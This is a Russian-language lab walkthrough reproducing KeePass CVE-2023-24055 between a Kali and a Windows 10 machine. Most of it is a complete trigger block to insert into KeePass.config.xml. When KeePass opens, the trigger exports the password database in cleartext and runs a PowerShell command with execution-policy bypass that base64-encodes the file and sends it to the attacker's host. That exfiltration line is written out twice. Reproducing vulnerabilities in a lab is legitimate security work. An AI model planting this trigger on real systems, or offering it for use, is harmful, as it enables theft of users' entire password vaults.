KeePass-CVE-2023-24055

Воспроизведение KeePass CVE-2023-24055 Воспроизведение KeePass CVE-2023-24055

Подготовьте машины: Kali (192.168.232.129), Windows 10 (192.168.232.128)
Версия KeePass: 2.53

Рисунок 1

Принцип: изменив конфигурационный файл KeePass.config.xml, добавьте конфигурацию триггера: экспорт паролей в открытом виде и загрузка их на сервер атакующего; XML-код для добавления триггера приведён ниже:

Здесь поле <Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter> задаёт локальный путь для экспорта паролей в открытом виде

Для передачи файла с паролями используется PowerShell с методом GET

<Parameter>PowerShell.exe</Parameter>
<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>

<Triggers>
				<Trigger>
					<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
					<Name>exploit</Name>
					<Events>
						<Event>
							<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
							<Parameters>
								<Parameter>0</Parameter>
								<Parameter />
							</Parameters>
						</Event>
					</Events>
					<Conditions />
					<Actions>
						<Action>
							<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
							<Parameters>
								<Parameter>c:\Users\Long\AppData\Local\Temp\exploit.xml</Parameter>
								<Parameter>KeePass XML (2.x)</Parameter>
								<Parameter />
								<Parameter />
							</Parameters>
						</Action>
						<Action>
							<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
							<Parameters>
								<Parameter>PowerShell.exe</Parameter>
								<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\Long\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.232.129:8888/$var -Method GET </Parameter>
								<Parameter>False</Parameter>
								<Parameter>1</Parameter>
								<Parameter />
							</Parameters>
						</Action>
					</Actions>
				</Trigger>
			</Triggers>

Измените файл KeePass.config.xml, добавьте XML-конфигурацию и сохраните (добавляется внутри тега <TriggerSystem></TriggerSystem>), затем откройте KeePass, чтобы убедиться, что триггер добавлен успешно:

tu2